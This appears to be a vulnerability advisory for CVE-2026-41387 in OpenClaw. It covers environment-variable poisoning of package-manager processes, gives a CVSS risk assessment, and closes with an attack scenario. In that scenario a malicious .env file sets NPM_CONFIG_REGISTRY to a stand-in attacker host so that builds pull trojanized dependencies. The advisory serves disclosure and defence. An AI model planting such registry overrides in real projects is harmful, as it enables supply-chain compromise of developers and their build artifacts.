OpenClaw CVE-2026-41387

Exploitation requires OpenClaw versions prior to 2026.3.22 with package manager integration features enabled. Attacker must have ability to inject environment variables into the user's session - achieved through malicious workspace files (.env, .envrc, direnv configurations), compromised shell profiles, or social engineering to run commands with attacker-controlled ENV settings. User must trigger an OpenClaw package operation (install, build, run) that spawns package manager processes inheriting the poisoned environment. The local attack vector (AV:L) limits remote exploitation, but the no privileges required (PR:N) classification means any local user account can attempt the attack. User interaction (UI:P) is necessary to execute the package operation, making this vulnerability most dangerous in scenarios involving untrusted code repositories, shared development environments, or supply chain targeting of specific organizations.

Real-world risk is elevated despite local attack vector requirements. CVSS 8.5 HIGH severity reflects significant impact (VC:H/VI:H/VA:H) across all CIA triad dimensions. The AV:L/PR:N/UI:P profile means attackers need local access and must trick users into performing package operations - achievable through social engineering, malicious workspace files, or compromised developer environments. No EPSS or KEV data provided, suggesting early-stage disclosure without widespread exploitation. However, supply chain attacks are high-value targets for sophisticated threat actors. The UI:P (user interaction required) and local vector significantly reduce automated mass exploitation risk compared to network-based RCE. Primary risk scenarios: malicious repository clones with crafted .env files, insider threats, or multi-stage attacks where initial access leads to development environment compromise. The 'Information Disclosure' tag appears inconsistent with the described trojanized code execution impact - verify whether reconnaissance or data exfiltration are preliminary attack stages.

An attacker convinces a developer to clone a malicious repository containing a .env file with NPM_CONFIG_REGISTRY=https://evil.example.com. When the developer runs an approved OpenClaw build command that triggers npm install, the unsanitized environment variable redirects package resolution to the attacker's registry. The attacker's registry serves trojanized versions of legitimate dependencies, which OpenClaw executes as part of the build process, compromising the development environment and potentially injecting backdoors into build artifacts.